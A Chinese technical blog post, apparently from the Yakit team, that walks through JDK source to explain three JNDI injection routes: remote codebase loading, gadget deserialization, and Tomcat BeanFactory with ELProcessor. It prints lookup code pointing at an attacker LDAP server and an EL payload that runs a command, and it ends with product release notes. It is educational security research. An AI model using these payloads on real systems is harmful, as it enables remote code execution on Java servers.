JNDI核心原理详细分析
01
加载远程codebase中的reference
目标出网
jdk<8u191
举例分析
此处使用的是ldap协议,因此受影响的版本即8u191以下,此处对应的便是SimpleCommand的情况
查询后返回的entry
attribute内容如下
{objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://xxx.xxx.xxx.xxx:8000/#SimpleCommand, javafactory=javaFactory: SimpleCommand, javaclassname=javaClassName: SimpleCommand}static Object decodeObject(Attributes var0) throws NamingException {String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));try {Attribute var1;if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {ClassLoader var3 = helper.getURLClassLoader(var2);return deserializeObject((byte[])((byte[])var1.get()), var3);} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);} else {var1 = var0.get(JAVA_ATTRIBUTES[0]);return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);}} catch (IOException var5) {NamingException var4 = new NamingException();var4.setRootCause(var5);throw var4;}}
按照此处的逻辑首先拿到var2也就是codebasehttp://host:8000/#SimpleCommand
然后取出javaSerializedData存入var1,此处根本不存在这个属性所以为null,进入下一个分支判断;
取出javaRemoteLocation存入var1, 此处也根本不存在这个属性所以为null,进入最后一个else分支;
取出objectClass存入var1,也就是objectClass: javaNamingReference,此处不为null,进入判断是否包含javaNamingReference,大小写都判断一下是否存在,此处显然存在,因此会进入decodeReference()方法,此处传入两个参数,一个是整个attribute,另一个则是最先拿到的codebase var2
private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {String var4 = null;Attribute var2;if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");} else {String var3 = (String)var2.get();if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {var4 = (String)var2.get();}Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {BASE64Decoder var13 = null;ClassLoader var14 = helper.getURLClassLoader(var1);Vector var15 = new Vector();var15.setSize(var2.size());NamingEnumeration var16 = var2.getAll();while(var16.hasMore()) {String var6 = (String)var16.next();if (var6.length() == 0) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty attribute value");}char var9 = var6.charAt(0);byte var10 = 1;int var11;if ((var11 = var6.indexOf(var9, var10)) < 0) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "separator '" + var9 + "'" + "not found");}String var7;if ((var7 = var6.substring(var10, var11)) == null) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty RefAddr position");}int var12;try {var12 = Integer.parseInt(var7);} catch (NumberFormatException var18) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "RefAddr position not an integer");}int var19 = var11 + 1;if ((var11 = var6.indexOf(var9, var19)) < 0) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "RefAddr type not found");}String var8;if ((var8 = var6.substring(var19, var11)) == null) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty RefAddr type");}var19 = var11 + 1;if (var19 == var6.length()) {var15.setElementAt(new StringRefAddr(var8, (String)null), var12);} else if (var6.charAt(var19) == var9) {++var19;if (var13 == null) {var13 = new BASE64Decoder();}RefAddr var17 = (RefAddr)deserializeObject(var13.decodeBuffer(var6.substring(var19)), var14);var15.setElementAt(var17, var12);} else {var15.setElementAt(new StringRefAddr(var8, var6.substring(var19)), var12);}}for(int var20 = 0; var20 < var15.size(); ++var20) {var5.add((RefAddr)var15.elementAt(var20));}}return var5;}}
首先判断是否包含必有属性javaClassName,必须得有这个,没有直接返回,再把javaClassName存入var3,此处值为javaClassName: SimpleCommand,再看看有没有javaFactory,这个是可选,假如有就存入var4,此处是包含的值为javaFactory: SimpleCommand,接着便根据javaClassName,javaFactory和codebase值建立一个Reference。接着判断javaReferenceAddress是否为null,此处属性不含这个,因此跳过。直接返回建立的引用Reference
返回到ldapCtx
在此处实例化了远程引用var3
跟进DirectoryManager中的getObjectInstance方法
核心点
factory = getObjectFactoryFromReference(ref, f);
先尝试本地加载,否则用codebase加载。最终因为加载我们的远程恶意类,再静态方法区嵌入恶意代码,实例化过程中被执行
在使用远程codebase进行loadClass时不会像上面这样直接去Class.forName()而是
可以看到对trustURLCodebase进行了判断,只有为true才会进行实例化。
需要在SystemProperty中显式设置,否则默认为false
02
反序列化恶意返回数据中的serializedData
其环境存在可以被利用的序列化gadget
举例分析
import javax.naming.Context;import javax.naming.InitialContext;public class mainSer {public static void main(String[] args) throws Exception{Context context = new InitialContext();context.lookup("ldap://host:1389/CC6");}}
这次可以看到返回的属性少了很多,只返回了俩,javaSerializeddata和必有得核心属性javaclassname
前面部分都一样,核心点还是在com.sun.jndi.ldap.Obj#decodeObject()方法中
static Object decodeObject(Attributes var0) throws NamingException {String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));try {Attribute var1;if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {ClassLoader var3 = helper.getURLClassLoader(var2);return deserializeObject((byte[])((byte[])var1.get()), var3);} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);} else {var1 = var0.get(JAVA_ATTRIBUTES[0]);return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);}} catch (IOException var5) {NamingException var4 = new NamingException();var4.setRootCause(var5);throw var4;}}
这次直接在第一个if就符合有javaSerializeddata属性的条件,直接跟进deserializeObject()方法,传入两个参数:
最终在此处readObject触发java原生反序列化
03
恶意的Reference Factory工厂类
在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口;并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。
目标出网
目标存在合适的工厂类例如Tomcat中广泛存在的org.apache.naming.factory.BeanFactory
举例分析
import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.StringRefAddr;import javax.script.ScriptEngineManager;import org.apache.naming.ResourceRef;import org.apache.naming.factory.BeanFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class mainFactory {public static void main(String[] args) throws Exception{//new ScriptEngineManager().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')");// String cmd = "'calc'";// String payload = ("{" +// "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +// ".newInstance().getEngineByName(\"JavaScript\")" +// ".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" +// "}")// .replace("${command}", cmd);//// ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",// true, "org.apache.naming.factory.BeanFactory", null);// ref.add(new StringRefAddr("forceString", "x=eval"));// ref.add(new StringRefAddr("x", payload));// ByteArrayOutputStream out = new ByteArrayOutputStream();// ObjectOutputStream objOut = new ObjectOutputStream(out);// objOut.writeObject(ref);// ResourceRef a = (ResourceRef) new ObjectInputStream(new ByteArrayInputStream(out.toByteArray())).readObject();//// System.out.println(a);Context context = new InitialContext();context.lookup("ldap://host:1389/Tomcat");}}
和反序列化的利用手法有点一致,这里也是进行反序列化
服务器返回的恶意响应如上
static Object decodeObject(Attributes var0) throws NamingException {String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));try {Attribute var1;if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {ClassLoader var3 = helper.getURLClassLoader(var2);return deserializeObject((byte[])((byte[])var1.get()), var3);} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);} else {var1 = var0.get(JAVA_ATTRIBUTES[0]);return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);}} catch (IOException var5) {NamingException var4 = new NamingException();var4.setRootCause(var5);throw var4;}}
因此直接进入第一个if分支,进行反序列化,但是反序列化后还没完,反序列化后拿到的是
var3,这里又和情况1,加载远程codebase中的reference有点类似了,但是此处为ResourceRef,继续跟进
熟悉的getObjectInstance,从Reference中拿instance
ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=x=eval},{type=x,content={"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec(String.fromCharCode(99,97,108,99,46,101,120,101))")}}]从ref中拿我们指定的factory
这里就是初始化本地的factory
核心点,调用了factory的getObjectInstance()我们跟进看看
org.apache.naming.factory.BeanFactory 在 getObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该BeanClass的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
这个情况下,目标BeanClass必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set..开头的方法,根据org.apache.naming.factory.BeanFactory中的逻辑,我们可以把某个方法强制指定为setter。这里,我们找到了javax.el.ELProcessor可以作为目标Class。
可以看到这里主动从ref中拿属性
至此完成利用
复现踩坑点
这个org.apache.naming.factory.BeanFactory在
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina --><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>8.5.75</version><scope>provided</scope></dependency>
依赖中也有el
但是实例化时会报错,缺少ExpressionFactory,必须搭配如下依赖才行
<dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-el</artifactId><version>8.5.45</version></dependency>
END
通过对java JNDI相关部分源码具体分析,能够对各种利用链攻击手法产生更深入了解。结合Yakit的Fuzztag能够更熟练的选择payload对目标进行渗透测试。
更新通知!
Yaklang 1.1.9-sp8
1. 优化 CVE 的后端接口,让数据更友好
2. 优化 SYN 扫描的过程和细节模式
3. 修复 CVE 查询速度慢的问题
4. 新增 FFMPEG 接口
Yakit 1.1.9-sp2
1. 新增 CVE 查询功能 UI
2. 修复企业版用户菜单中的上传数据接口问题
3. 修复打开yakit后的升级提示弹框内无更新内容问题
4. 修复在项目管理页面时顶部出现了一些高级权限操作的情况
5. 修复MITM页面的规则在添加时出现的白屏情况
6. 修复'爆破与未授权'页面里卡片的高度展示问题
7. 将开发者废弃的页面菜单项从用户数据库中删除功能
8. 导入协作资源新增导入插件ID功能,导入成功后进入插件仓库页面
9. 进入项目管理页面前进行确认弹窗提示功能
10. 将fuzzer的代理和MITM页面代理的绑定逻辑取消
11. 调整引擎进程小风车转速
12. 新增辅助录屏小工具(Beta*)
13. Log 支持展开功能